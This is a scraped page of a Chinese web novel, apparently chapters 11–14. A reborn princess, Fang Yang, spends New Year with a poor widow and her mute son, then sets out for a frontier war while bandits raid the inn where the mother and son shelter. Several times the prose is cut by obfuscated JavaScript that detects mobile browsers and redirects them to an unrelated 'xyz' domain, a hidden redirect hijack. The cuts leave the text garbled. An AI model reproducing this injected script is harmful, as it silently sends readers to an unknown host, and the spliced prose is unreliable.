RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“待会儿吃完了要漱口,当心牙坏掉......”方漾一边吃糖瓜一边叮嘱勾衡,她能看出来,勾衡是极喜欢吃糖瓜的。 许是家里穷,吃不上什么甜滋滋的东西,所以勾衡对糖瓜产生了强烈的喜爱之情。 只不过他性子内敛,喜欢什么也不说,若非有心观察,倒是真看不出来他的喜好。 方漾瞥了一眼正在认真吃糖瓜的勾衡,心道他这喜好藏得比许多朝中大臣都要好。 “阿衡,你以后要是心仪哪个姑娘,可不能像现在一样憋着不说啊......”方漾忧心道。 没想到母子俩听了这句话,双双呛住了喉咙。 “咳咳咳......” 小小的厨房里顿时响起一阵剧烈的咳嗽声,方漾赶紧给两人端了水。 “糖屑掉嗓子眼儿里了?”方漾关心道。 勾衡顺了气,顶着一张涨成猪肝色的脸点了点头。 “怎么了?害羞啊?不能提你那位心仪的小姑娘?”方漾忽然来了兴致,凑上前打趣勾衡。 冬夜不似夏夜,家家户户都早早闭了门窗,正是安静无聊时,勾衡这样大的反应,引得方漾忍不住想逗他。 勾衡拍了拍自己的心口,又摆摆手:没有心仪的人。 方漾挑眉:“那等你有了,记得告诉姐姐,姐姐给你出彩礼。”说完,她低头啃了一口糖瓜,抬头时又被窗外不知何时落下的雪花吸引了目光。 勾衡默默看着她的侧脸,冻得通红的手指捏着糖瓜,半晌都没送入嘴里。 施慕虹在一旁默默叹了口气:这傻小子...... 11. 第十一章 除夕这日方漾早早就醒了,但不是自然醒,而是被勾衡在厨房弄出的动静吵醒的。 小小的厨房里架着两个炉子,一大一小,都燃着火,上面架着两口小锅——说是锅,其实就是陶罐,这是把家里唯二的两只陶罐都用上了。 勾衡正蹲在炉子前认真盯着,他身上本来就没什么肉,骨架也还未长开,蜷在炉子前小小的一团,看着很可怜。 “阿衡,做什么呢?”方漾倚在厨房门口出声道。 勾衡转头,厨房外的光落在他巴掌大的脸上,配着那双微微下垂的大眼睛,看得方漾心都软了。 她上前揭开锅盖看了一眼,里头炖的豆腐汤,与往日不同的是,汤里不仅有豆腐,还有蛋花和肉片。 方漾耸了耸鼻子,闻到久违的肉汤香气,忍不住叹了一句:“真香......”话音未落,面前忽然递过来一只碗。 她抬眸,见勾衡一手端着碗一手拿着勺,正兴奋地看着她。 “还没熟透呢,等熟了再吃吧?”方漾道。 勾衡的肩膀顿时塌下去了一点,若非方漾眼尖,还发现不了。 正当他要转身回去继续看火时,方漾又转了话头道:“要不然尝一口吧。” 勾衡的眼底立刻闪出光来,不等方漾自己动手,他抢先给方漾盛了一碗汤。 方漾接过发烫的碗,低头一看——清澈的汤中漂着蛋花,底下沉着豆腐与肉片。 勾衡做菜本事不算好,只会将调料一并放入锅中,最后煮出来什么味就是什么味,所以这汤并未散发出方漾心中预想的味道。 她将碗凑到鼻子下面轻轻嗅了一下,虽然不像宫里的菜色一样丰富有层次,但简单的肉香和蛋香已经能让久不闻荤腥的她感到高兴了。 就在方漾看汤的时候,勾衡也在眼巴巴看着她手中的汤。 家中粮食向来短缺,施慕虹怕小勾衡养成护食的习惯,便从小教导他,吃饭要等她一同吃,不可以偷吃东西。 眼下施慕虹出门去了,是以即便勾衡馋得口水都要流下来了,也不敢自己先喝,但方漾可以先喝,施慕虹一定不会怪方漾的,这样他也能在一旁闻闻味道解解馋。 方漾感受到勾衡的目光,起了逗弄的心思。她端着碗走近勾衡,故意在他面前晃了一圈,还朝他吹气道:“这汤有些烫啊......” 勾衡年纪轻,不懂方漾在逗他,两只眼睛还傻兮兮跟着汤碗转。 勾衡瘦巴巴的小脸太惹人怜了,方漾逗了一下心中便油然升起罪恶感,忙停了动作,取了筷子来。 金黄的蛋花躺在筷子尖上,在使筷子的人的努力下,蛋花堆得高高的,随着筷子移动,颤巍巍抖动着。 “吃一口。”方漾将蛋花送到勾衡嘴边。 勾衡受宠若惊地往后退了半步,局促地摆了摆手表示自己不吃:我等娘回来一起。 方漾点点头,放下碗筷道:“那我也等施姨一起。” 闻言,勾衡有些急了,他上前摸了摸碗沿,转头看向方漾:汤会冷掉。 “那我们俩趁汤还没冷,一起吃掉这一小碗?” 勾衡摇摇头,比划道:你吃,我不吃。 “施姨是不是不让你一个人偷偷吃东西?”方漾问。 勾衡点头。 “那干嘛给我盛汤?我也要等施姨一起吃。” 勾衡指了指方漾的肚子。 “我不饿,再说了,你和施姨一大早就起来忙,饿得肯定比我快。” 勾衡没法子了,只好指了指方漾的伤口处。 “我的伤好得差不多了,现在身子骨比你还强壮......”说到这儿,方漾想起什么似的,对勾衡道,“说起这个,以后家里不缺银钱了,你要多多吃饭,吃好了才能变强壮。” 勾衡眨了眨眼,忽然握拳在空中挥舞了两下,卷起的袖口露出一条瘦骨伶仃的胳膊,上面的肉很紧实,用力能看见薄薄的肌肉形状。 方漾忽然想起来,勾衡先前还背起过辜知易,他力气确实不小的。 “你吃这么一点,力气都能那么大,那吃多一点,力气就更大了......”方漾哄小孩般道,“等你更强壮了,就可以保护施姨......” 她的声音渐渐变低,说到保护施慕虹时,连眼神都变严肃了。 “过完年会乱一阵子,你要快点变强壮,保护施姨。”方漾道。 她记得前世刚过完年,她就被方勤时抓了回去,在宫中被软禁一个月后,再次出来,发现外面天都变了。 临占城内主街上的店关了好几家,其他的店也都在收拾行当准备跑路。 富户们得了战乱消息,纷纷收了细软想去南边避一避,而穷苦的百姓们却只能守着自家的一亩三分地忐忑度日。 一时间临占城中人人自危,街上热闹景象不再,偶然在街上遇到的百姓,脸上也全是颓然与麻木。 面对那样的场景,方漾打心底里难受——赤蛟部落还没有打进来,百姓们的心就先散了。 李晃教过她,未战先怯,士气就没了,没了士气,仗就输了一半。 原先的方漾眼中只有方勤时,后来得了李晃的教导,才有了大局观。 李晃教她的并不止是文学、兵法......还有为君为臣之道。 心怀天下者百姓爱之,一国之君当以民生福祉为己任。 彼时方漾还将希望放在方勤时身上,并不懂得这样的大道理,但好在李晃有耐心,一点点潜移默化地将这些思想灌输给了方漾。 如此,方漾才能在彻底看清方勤时后,果断选择上战场立军功。 当然也不仅仅是为了有个正当的名头重回临占——当时的大荆士气已去,隐隐有颓然之势,国君贪图享乐、草包无能,若她再不顶上去,大荆怕是真的要毁在方勤时手中。 到时候千千万万的百姓,都会落入赤蛟部落残忍的威压之下。 她又露出那种表情了......勾衡眼底浮现担忧,他上前点了点方漾的肩膀,而后合握起自己的两只手。 “保护我?” 勾衡点头。 方漾愣了一瞬,接着便笑了起来:“我哪里需要你保护?你保护好自己和施姨就行了。”她还要奔赴西阚战场,保护西阚百姓、保护整个大荆。 勾衡没再比划了,目光却一直落在方漾身上。 方漾心里装着西阚的战事,并未太在意他的目光。 施慕虹回家时便看见自家傻儿子又在盯着天鹅肉看了...... 中午有豆腐蛋花肉片汤,还破天荒用油炒了一盘自家园子里种的绿叶菜——菜园子里的菜本都是要卖出去的。 三个人都吃得津津有味。 驿站下午关门,施慕虹自然也不用过去,可以安心留在家中准备过年的事宜。 “不然还是让阿衡上去吧?”施慕虹担忧的声音响起。 方漾站在从邻居那儿借来的梯子上,一手扶着屋檐一手拎着对联,转头冲施慕虹笑道:“没事的,我这不是站得很稳吗?” 施慕虹上下看了看,方漾确实站得很稳,只好压下心中担忧。 “左边一点,对对,再上去一点......” 施慕虹与方漾配合,将对联贴和桃符好了,原本灰扑扑的屋子一下就变得明艳起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333318|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有年味了......”施慕虹看着屋子喃喃道。 “施姨......”方漾从梯子上爬下来,探头看了一眼厨房,勾衡在认认真真准备年夜饭,她收回目光,对施慕虹道,“年后我就要离开了。” 施慕虹闻言,心中不知是何滋味。 她虽早就知道方漾总有一日会离开,但当这天来临,她却还是有些舍不得。 这段日子里方漾一直在勤恳抄书,甚至还抽空教勾衡识字、写字。 方漾赚银钱后不仅给家里买了许多东西,还给三人都买了新袄子,施慕虹心中感激,却无法报答。 眼下方漾说要走,她也没有理由阻拦。 “要去哪儿?” “往西边去......”方漾想了想,还是出声提醒道,“再有半个月,外面会乱起来,若村子里不安生,您就带着阿衡去临占城东边的李府找李晃大人......”说着,她将自己脖子上戴的绳子取了下来。 细黑的绳子中间搀了金丝,底下坠着一块圆形的玉。 玉落入施慕虹手中时,还带着方漾的体温。 施慕虹似是被烫到般,想要将玉还回去,方漾却早就将手背在了身后。 “施姨,你和阿衡对我有救命之恩,这玉是李晃大人送我的,他是我的老师,若你们有难处,带着这玉去寻他,他会帮你们的。” 施慕虹听方漾说这话,心中陡然升起不好的预感,出声问她:“你要去哪儿?不是说外头要开始乱了?你要去哪儿呢?” “西阚战事吃紧,我要去上战场。”方漾说这话时,脸上没有半点畏惧与退缩,反而冷静又坚定。 这是施慕虹第一次对方漾是“南边涵柘战场上最英勇的女将领”这件事有了实感。 先前只是听说这件事,况且方漾受了伤,光躺在床上就躺了一个多月,能下地走路后也不会仗着自己功夫厉害就随意伤人。 方漾每日顶着那张英气又漂亮的脸在屋子里抄书,让施慕虹几乎快忘了,她是从尸山血海中爬出来的人。 “还会回来吗?”施慕虹刚问出口,就暗暗骂自己——不该对远行之人问归乡之事的,若是一语成谶,怕是要终身悔恨。 正当施慕虹要解释补救时,方漾回答了。 “会。”她斩钉截铁道,“我会回来的。” 由于先前的山匪事件,施慕虹对战场只有畏惧——上战场的百姓九死一生,所以那些人宁愿落草为寇也不愿意上战场送命。 但方漾不同,她从涵柘战场上回来了,她打过胜仗。 “好......好......”施慕虹将心中的担忧压下去,轻声应着,“会回来就好......” 她不敢说自己和勾衡会等方漾回来,毕竟他们只是因为意外才凑到一起,往后方漾是要留在西阚、还是回临占,根本不是她说了算的...... 方漾当然知道施慕虹的思虑,于是上前道:“施姨,您带着阿衡好好过日子,我会尽快回来找你们,无论是满勾村还是临占,我一定会回来找你们。” 皇宫那个大牢笼根本算不上家,比起皇宫,满勾村的这个小屋子更让方漾觉得自在。 这一世她有得选,她想守在施慕虹与勾衡身边,为报救命之恩,也想为自己那颗卑鄙的、想要汲取家庭温暖的心找一隅栖息之所...... 勾衡背靠在厨房门框上,默默听完了两人的对话,拳头越攥越紧——方漾在撒谎,战场又不是什么书局、茶馆,哪里是说去就去、说回就回的地方? 他低头看了看自己瘦杆儿似的手臂,第一次对自己吃不饱饭、长不大而产生了焦虑...... 12. 第十二章 满勾村虽偏远,但除夕这夜,大家也都是尽量热热闹闹过的,村子里甚至有爆竹声响。 勾衡好奇地趴在院子边上看,屋外的院子是用竹篱笆围起来的,勾衡垫着脚才能将眼睛露出来,而方漾只需走过去站着,便能将院子外的景色尽收眼底。 “早说你喜欢看爆竹,买年货的时候就可以买一些回来。”方漾道。 勾衡转过头,两眼亮晶晶地看着方漾——像爆竹这种炸了就没了,仅仅能留下一点新奇感受的物件,对穷惯了的勾衡来说是一种很不划算的东西,但是方漾说要给他买。 “大年初一镇上有爆竹卖吗?带你去买?” 勾衡摇摇头,抿着嘴笑了——方漾愿意给他买,他就很高兴了,不用真的买。 “来吃饭了!”施慕虹在屋子里喊了一声。 “走吧,吃年夜饭了。”方漾上前,自然地拉起勾衡的腕子,带着他往屋子里走。 她手心热热的,勾衡觉得有些烫,手腕烫、心也烫。 桌子上摆着三菜一汤,有肉有菜,配的是白米饭,对勾衡与施慕虹来说算得上是非常丰盛了。 三人开开心心吃完饭,又在院子里听了会儿爆竹声,夜深后便各自钻进了被窝。 不知是不是今夜的菜色足够丰盛,方漾发现勾衡吃得特别多。 “阿衡,今晚的饭菜好吃吗?”她问道。 勾衡裹着被子坐在铺盖上,面朝方漾坐着,点点头。 “以后也要像今天一样,多吃一些。”方漾随口叮嘱,原以为勾衡会像先前一样腼腆笑笑就带过,却见他一脸认真地点了点头。 方漾讶然挑眉,但随即又恢复了平常的脸色——想来是先前太穷了,他不敢敞开吃,以后就不怕了。 眼下方勤时正全大荆到处找她,她不好往临占传信,但她马上要启程去西阚,她打算离开满勾村后随便找个地方给李晃去密信,让他帮忙照看施慕虹母子。 这信她会做些手脚,只有她与李晃能看懂,到时即便方勤时的人截了信,也看不懂,顺着地址寻过来时,她也早就离开,应当找不到施慕虹母子的头上。 若能得李晃的帮助,勾衡与施慕虹便能顿顿吃好、吃饱了。 这一夜三个人都没怎么睡。 勾衡听着外面时不时响起的爆竹声,默默揉着有些吃撑了的肚子,盘算着明日不能像今晚一样胡吃海塞了,不然撑坏了肚子还要看大夫。 施慕虹心中担忧方漾说的“乱”是怎样的“乱”,她该继续守在满勾村,还是待方漾走后就赶紧带着勾衡去临占找李大人? 方漾则是在脑海中梳理前世的时间线。 她记得前世辜知易约她元宵那日去镇子上喝茶,她欣然赴约,却偶遇巡查的官兵,当场将她抓了起来。 眼下仔细一琢磨,发现这件事哪儿哪儿都透着不对劲。 虽然连棠写风月文赚的不少,却几乎都交给书院了,两人手头能用的钱并不多,但辜知易却选了“元宵”这个镇上的吃食一定会涨价的日子约她。 而且先前与勾衡在镇上遇到官兵时,明明看见他们是拿着画像四处比对着找她,可前世的官兵却是突然从巷子里冲出来,不由分说地便抓住了她。 当时辜知易的戏演得太好,脸上的惊愕与担忧将方漾都骗了过去。 而这次,方漾不打算等到元宵,而是选在了大年初八离开。 从大年初一到初七,施慕虹和勾衡都忙忙碌碌的,两人不知道西阚有多远,只知道方漾要一个人出远门,于是担忧得不知该作何准备,只能将自己能想到的东西都塞进方漾的包袱中。 “不用忙了,该带的我都放进包袱里了,你别忙活了......”看着还在往自己包袱里塞糖块的勾衡,方漾出声阻止他。 施慕虹也在一旁拉住勾衡,自己挤上前,要将手里的果子塞进包袱里。 方漾好笑道:“果子在路上也能摘到,这些你们留着自己吃吧。” “那你把银钱都带上。”施慕虹将早就备好的钱袋子放进方漾手中。 方漾接过钱袋子,随手扔在了床上,道:“我用不上这么多,银钱我都带够了。” 她没有逞强,钱确实带够了,她在路上的花销不大,进了西阚后打算先去找自己前世的副将,等进了军中,就更用不上什么银钱了。 施慕虹见劝不动她,便不再劝了,打算等夜里方漾睡着了,再偷偷把钱袋子塞进她的包袱中。 这边方漾在收拾行李,隔壁织段村的辜知易也在收拾东西。 “趁着还没回书院,你抓紧时间去一趟满勾村,好好同阿漾说,她若是肯点头,今年夏天我就去上门提亲......”连棠一边念叨一边把腊肉、糖块什么的仔细包好,用蓝色素纹布包起来。 辜知易没说什么,他心情很复杂。他知道方漾是就是镇子里在寻找的公主,只要他把方漾引出去让官兵抓住,就能得好大一笔赏金。 但他又偏偏被方漾吸引,那样金枝玉叶的人竟然能穿麻布衣裳、吃豆腐野菜,还带着个小哑巴走来走去都不嫌麻烦。 抓还是不抓呢?若是寻官兵来将她抓走,那他这辈子都可能不会再见到她了...... 他原是打算先同她交朋友,待时机成熟,再引人来抓她。 到时就算她被抓回宫中,也还会顾念旧情,他不仅可以拿赏金,还能得她青眼。 “记住了,要先等阿漾点头,她不点头,你可不能冒进!”连棠轻轻推了辜知易一把。 这么多年,辜知易只对方漾展露过那样倾慕的神情,她这个当娘的怎么会看不出来? 且经过这段日子的相处,她也大致了解了方漾的情况。 这姑娘家中贫寒,却不喊苦不喊累,还帮着抄书补贴家用,确实是个好孩子,她很中意她。 但连棠也知晓,如今这个世道,女子婚嫁难从己心,她不想阿漾不情不愿来辜家,于是给辜知易准备了许多东西,让他上门去问问阿漾的心思。 “娘......我......我再等等......”辜知易拿不准主意,想再仔细琢磨个万全的法子出来。 连棠见他踌躇不前的模样,忍不住轻轻在他肩头拍了一下:“平日读书的时候不见你这样犹犹豫豫!明日可就是初八了,你初九回学堂,还记得吧?” “嗯。”辜知易应声,“我明日就去寻她。” 这头方漾已经收好了行李,糖块和果子都塞进了包袱中,外头天已经黑了。 “一定要明日清晨就走吗?都等不到中午吃口米饭......”施慕虹担心方漾。 “我带了这么多干粮呢。”方漾拍了拍自己那个足有小半人高的包袱,里头除了衣裳就是饼子,都是勾衡借隔壁邻居家的大锅烙出来的。 “那今日早早歇下吧,明天叫阿衡把剩下的肉拿去煮粥给你喝,吃饱了再出门。”施慕虹叮嘱道。 方漾点点头,半晌没听到勾衡说话,她便转头去看他。 少年缩在自己的铺盖上蹲坐着,双手抱膝,下巴搁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太早暴露野心之人,很容易被早早扼杀。 方漾知道这个道理,但她能力有限,只好去求李晃。 她硬生生在李晃面前跪了三日,滴米未进,才终得了李晃一句:“行,你比我犟,从今以后我替你办事!” 他语气中有气愤,也有无奈,但终究还是帮方漾做了个局。 他利用方勤时想让方漾殒命的心理,设计让方勤时主动派方漾去涵柘战场。 自方漾上了战场,李晃在朝堂上便愈发沉默了。 涵柘打了胜仗,他不喜;涵柘打了败仗,他不悲。就好似他从未教过公主,也从未认识过公主一般。 起先有朝臣怀疑这是李晃的新招数,背后定然藏着更大的谋略,但时间久了,大家都习惯了,便不再去猜测其中奥秘。 李晃与方漾对外的关系,也从先前的“师生浓情”变为如今的“恍如陌路”。 但只有两人自己知道,这些年只有对方能看懂的密信,写了一封又一封,烧了一封又一封。 若非有李晃暗中相助,乔浣玉也不会如此顺利地将方漾救出。 只是两人的关系再也无法浮出水面、暴露在阳光下了。 起先方漾不懂,但现在她懂了——李晃就没妄想过方勤时会对她转变态度,李晃从一开始,下的就是一盘帮她“弑父夺天下”的棋。 13. 第十三章 勾衡听说方漾的老师兴许会教自己读书,心中翻起滔天巨浪——那样聪明的人来教我吗?我很笨的。 方漾从他脸上的表情读懂了他心中所想,抬手捏了一把他的脸道:“放心吧,我老师不轻易收学生的,若是他肯收你,定是看中了你身上的什么过人之处,你不必妄自菲薄,只管赖着我老师好好学就是了。” 勾衡点点头,望向方漾。 她的神情很生动,脸色也红润了不少,不再像先前养病时那样苍白虚弱。 “勾衡。” 听她叫了自己的全名,勾衡忍不住心头一跳——感觉她要说什么很重要的话了。 “我走后,除了施姨和我老师,不要相信任何人的话。”方漾真的,不想再看见瘦弱的少年被套在宽大的太监袍子里了,前世她甚至都没见过他的尸骨。 勾衡不知道她为什么要这样说,但还是乖乖点了点头。 翌日清晨,天还黑着,厨房的烛火便亮了。 方漾同施慕虹与勾衡围在厨房喝了一碗肉片粥,最后在两人担忧不舍的目光中,扛着包袱离开了满勾村。 方漾离开后,母子俩本还可以回去再睡会儿,可两人都睡不着了。 “阿衡。” 勾衡转过头,面对施慕虹坐在铺盖上,睁着有些泛红的眼睛看向她。 “她是公主。” 勾衡点头:我知道。 “你不知道......”施慕虹沉着声音道,“即便她心里愿意,她也不会同我们是一家人......” 勾衡蹙眉。 “她是公主,是人中龙凤,肩上有自己的使命,不会为任何人停留......”施慕虹缓声说出了这个残忍的事实。 方漾并不是任性之人,她会担负起肩上的责任,绝不会像临占的某些纨绔子弟一般,遇到难事就撂挑子不干。 方漾刚到满勾村时,施慕虹对她的身份还没有实感,只知道是个金枝玉叶的公主,是他们这种穷苦百姓惹不起的人物,于是对她毕恭毕敬、小心伺候。 但随着与方漾接触愈发深入,施慕虹逐渐意识到自己目光的狭隘。 方漾不是那种自命不凡、仗势欺人的权贵,她谦逊、聪慧,眼中有着超乎同龄人的沉静与坚定。 虽然方漾同施慕虹说,会回来找他们,但施慕虹并不抱太大希望,因为他们这样的底层百姓,与方漾之间就是有着天差地别的。 在满勾村相处的这段日子,如同世外桃源般纯净无暇,若是回到临占那样复杂污秽的地方去,方漾与他们之间的关系,又怎会像现在这样纯粹呢? 施慕虹不想方漾为难,也不想成为她前行的累赘,所以一定要将这件事情同勾衡说清楚。 勾衡抿着唇,他知道方漾不会为任何人停留,所以他要做的,绝不是在原地等候,而是追上去,追上她的脚步。 见勾衡不比划了,施慕虹以为他将自己的话听进去了,于是起身环顾了一圈屋子,道:“我们也收拾行李吧。” 勾衡抬头,眸中尽是疑惑。 施慕虹低头看着他:“走吧,我们去临占找李大人,李婶和驿站那边我已辞了。” 勾衡闻言,连忙站起身,眼中带上了讶然。 施慕虹笑他:“怎么?不相信你娘是这么果断的人?” 勾衡眨了眨眼,没动弹。 施慕虹敛了笑意,道:“阿漾说马上要乱起来,我不敢留在这里,先前山匪冲进屋子里来......我不敢再让你冒一次险了......”她说着,目光落在了勾衡脖子的疤上。 “我们这就收拾行李,去临占找李大人。”施慕虹道。 这个决定是她深思熟虑后做的,除去不想勾衡再次冒险陷入险境外,她也有私心。 满勾村偏远、贫穷,眼下是有方漾留下的银钱,日子才能好过些,待这些银钱用光了,他们娘俩就又会回到穷苦日子里去。 勾衡永远吃不饱,也永远长不大,待年纪更大了,就不会有夫子肯收他做学生了。 百年之后她走了,勾衡又该何去何从呢? 从前是没钱,她离不开满勾村,现在方漾带来了机会,她不想错过。 母子俩谁都没再说话了,都闷头收拾行李。 其实两人也没什么要收的,不过是夏日的两套衣裳,还有冬日的三套,其中一套方漾新买的还穿在身上。 屋子里没有桌子和凳子,只有草席和床板,厨房里的炉子和碗也不必带走。 母子俩收拾了半天,最后收拾出来的包袱还没有方漾的包袱一半大。 施慕虹心里有些泛酸,勾衡察觉到施慕虹的情绪,凑过去想比划点什么,忽然听门口响起了敲门声。 母子俩对视一眼,都以为是方漾回来了,立刻放下包袱几乎是跑了出去。 勾衡先冲出去,看见院子外面站着的辜知易,心中的欣喜顿时被一盆冷水浇灭。 “你是小辜吧?”施慕虹探着身子,看见了辜知易,先开了口。 “施姨。”辜知易喊了一声,一边应着,目光却不动声色地往屋子里看,“阿漾呢?” 施慕虹垂眸看了一眼他手上拎着的东西——比过年的礼重,又没到提亲的程度。 “阿漾回自己家去了。” “什么?”辜知易的眉头顿时压了下来。 “她本也是来探亲的,过了年便回去了......”施慕虹将早就编好的说辞搬了出来。 “去哪儿了?”辜知易微微弯腰询问,脸上是一副十分关心的模样。 施慕虹正要给辜知易指方向,手却被勾衡暗中攥住了,她转过头看向勾衡。 只见勾衡像个没事人似的,抬起另一只手指向南边。 “她往南边去了?”辜知易蹙眉——书院里消息灵通,听闻西边战事吃紧,得了消息的富户人家都在收拾行李准备南下避乱。 勾衡点头。 辜知易转身要走,手上的重量适时提醒了他,他忙转头,一股脑将东西都塞到勾衡手中,语速极快道:“新年大吉,娘让我来拜年,我还有急事先走了......”话音未落,人已经出了院子。 待辜知易走远,施慕虹才上前问:“阿衡,他要做什么?” 勾衡将辜知易送的东西都堆在院子角落里,回头比划:姐姐叫我不要跟他往来,他的东西我们也不要。 施慕虹虽然不知道方漾为何对勾衡这样说,但念及他们娘俩马上要离开满勾村了,她也并不想节外生枝。 于是她将辜知易的东西都送去了邻居家,还给了邻居家一个鸡蛋,让他们帮忙把这些东西送回隔壁织段村。 等安排完这些,施慕虹与勾衡就未再停留,背着包袱悄悄离开了满勾村。 两人出了满勾村,又穿过葫芦镇,从镇子里踏出去那一刻,勾衡忽然有些害怕——他从未出过远门。 “怎么停下不走了?”施慕虹转身看他。 少年脸上的神情藏不住,施慕虹看出他害怕,上前道:“阿衡长大了,该出去看看,有娘陪着呢,是不是?” 勾衡的目光 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勾衡心有惴惴地抱着包袱,大气都不敢出,他怕被人发现后,就住不了柴房了。 施慕虹见状,笑道:“傻阿衡,他就是吓唬吓唬我们,我们挨着后门,就算有点响动,前面也听不到的。” 勾衡闻言,还是不敢放松警惕,一双下垂的狗狗眼四处打量着,像一只警觉的狐獴。 两人从柴房角落里寻了些干草铺在地上当床,才铺好,外头就响起密密麻麻的雨声,滴滴答答的,听得人骨头缝里都渗着寒意。 方漾从驿站出来,理了理面巾,低头冒着雨走向不远处的客栈。 “掌柜,要一间上房。”她刻意放粗了声音。 伙计见她包裹严实,心中本有些好奇,但在她凌冽的目光下又被吓得低下头去。 “客官,您的上房。”伙计递出牌子。 方漾一把接过,转身前叮嘱他:“送些热水上来。”她在外面走了一天,想洗漱一下。 “好、好......”伙计不敢抬头与她对视,只能迅速点头应下。 进了房间,方漾还是没摘下面巾,直到开门接了热水,她才得以把勒了一天的面巾摘下。 水盆中倒映着一张英气十足的脸,剑眉黑眸,一道勒痕从左眼下方横跨鼻梁至右眼下方,有些泛红,但丝毫不影响她的容貌,反而让她更具野性。 好好洗漱一番后,方漾躺上了床。 自从她回到十年前,就一直住在施慕虹的屋子里,这还是她第一次离开满勾村过夜。 看不见被厚厚茅草覆盖的屋顶,也看不见屋子角落里的两个铺盖,她有些不习惯...... 前世离开满勾村那夜她是怎样的心情呢? 啊对了,前世她是被突然抓走的,一路被押送回临占,根本来不及伤感,她满脑子都是如何摆脱方勤时。 也不知道勾衡和施慕虹怎么样了,他们是打算继续留在满勾村,还是听她的话已经启程往临占去了呢? 冬雨落在窗户上,噼里啪啦的,砸在方漾心头,勾起些愁绪。 但这愁绪还未蔓延开,她便听到窗户边传来不一样的响动——不是雨水敲打声,像是什么东西在推窗户。 她立刻从床上坐起来,摸出腰间刚买的匕首,锐利的目光直直地盯着窗户。 不走正门非走窗户,来者本意不明。 方漾盯着窗户,微微眯起了眼睛,她的行踪只有施慕虹与勾衡知道,这样走窗户来找自己的,又会是谁呢? 14. 第十四章 勾衡蜷在干草上,身上盖着方漾给买的厚袄子,但还是觉得冷。 “阿衡?”施慕虹的声音响起。 勾衡转身看向她。 施慕虹半坐起身,脸上带着些警觉,还带这些疑惑:“外头是不是有声响?” 勾衡的目光立刻看向离两人最近的后门。 门外隐约传来响动,似是雨水淅沥,又似是树叶摩挲。 施慕虹轻手轻脚地穿好袄子,半蹲着挪到后门边,将手搭在门上。 勾衡也穿好了袄子,靠在施慕虹身后。 施慕虹深吸了一口气,然后屏住呼吸将后门拉开了一条缝。 外面黑黢黢的,除了滴落的雨水偶尔泛着光,其余一切都看不明晰。 施慕虹细细望向后门外的树丛,总觉得那边有黑影在动,勾衡也从门边冒出个脑袋望出去。 “可能是我的错觉?”施慕虹看了半晌都未见异常,于是嘟囔了一声。 没想到这声嘟囔话音未落,草丛中忽然窜出来几个彪形大汉。这些人留着络腮胡,目露凶光,手里还拎着刀! “啊......”施慕虹还没来得及惊叫出声,就被勾衡一把捂住了嘴。 勾衡反手关上后门,拎起地上的包袱,拉着施慕虹就往前门跑。 正值深夜,客栈上下都睡着,除了一楼值夜的伙计。 “后面来了山匪!”施慕虹冲伙计喊了一声。 那伙计正打瞌睡,没听清,低头揉着眼道:“什么?” “山匪!山匪来了!”施慕虹喊得很大声,伙计这下算是醒过神来了。 “山匪?”他慌张地在原地踏了两步,而后立刻跑向后厨,边跑边喊,“掌柜的快跑!山匪来了!快跑!” 伙计瘦杆儿似的,腿脚特别利索,施慕虹还没来得及提醒,伙计已经跑到了后厨门口。 后厨与柴房挨得近,那几个大汉已然穿过了柴房,迎面撞上瘦伙计,当下便手起刀落,结果了那伙计。 勾衡看见方才还大声叫喊的鲜活伙计,下一刻就倒地不起、尸首分离,吓得腿都僵了。 施慕虹也僵在原地,但她的余光看见勾衡的侧脸,心里忽然又有了勇气,在大汉看过来前,拉着勾衡躲进了柜台底下。 方漾握着匕首推开了窗户,看见外面窗沿上站着一只猫。 “媒婆?”她讶然出声,惊喜大于惊讶,“你怎么在这里啊?”她伸手将黑背白爪的猫捞进屋子里。 媒婆是一只黑色花色的猫,因唇边的一点黑墨而得名“媒婆”。 “是不是老师带你来的?”方漾取了干帕子来给媒婆擦毛上的雨水。 媒婆认出了方漾,乖乖躺在她腿上瘫肚皮。 “好久没看见你了......”方漾低头蹭了蹭媒婆的肚子,语气中的欣喜无法掩盖。 媒婆是她三年前在涵柘战场上捡的猫,在一片尸山血海中,柔弱又嗲气的猫叫挠进了她心里。 当时的涵柘人人自危,城中百姓早已撤离,只剩方漾带着一群残兵败将苦守。 在又一次打了败仗后,方漾遇到了媒婆。 媒婆当时才巴掌大,眼睛都没睁开,在树根下的凹槽中蜷着,发出细弱的呼救声。 彼时方漾被打得没了信心,几乎要决定以身殉城了,但在看见跟耗子一样大的媒婆还在努力求生后,她萌生了再拼一把的念头。 这次她悉心谋略,抱着必死的决心绕后突袭了敌方粮草。 敌方守卫十分警觉,方漾才刚点燃了粮草,他们便觉察了异样,大喊引来了人。 方漾转身闷头狂奔——守卫并未看见她点火,她只要引走来人,等火势大了,敌方再去救火就来不及了。 连日来的精神紧绷与食不果腹,导致方漾才跑出去一段,腿就开始发软,跑到最后她已经感觉不到自己的双腿了。 眼前的景象开始摇晃,愈发模糊不清,方漾知道自己坚持不了多久了。 “着火了!着火了!”后面追来的士兵中响起慌乱的叫喊。 成了。 方漾咬牙继续狂奔,身后的一群人已经有半数以上都掉头回去救火了,只要甩掉剩下的几个,她就有一线生机...... 可惜她的身体实在撑不住了,在涉过一条蜿蜒的溪水时,因为看不清脚下的路,她一头栽进了水中。 栽倒的瞬间,她心中的焦急与恐惧都消失了,手脚都不再发力,她感到前所未有的轻松——这次是真的要死了吧? 忽然天边炸响一声惊雷,暴雨倾泻而下,黑夜中更加看不清了。 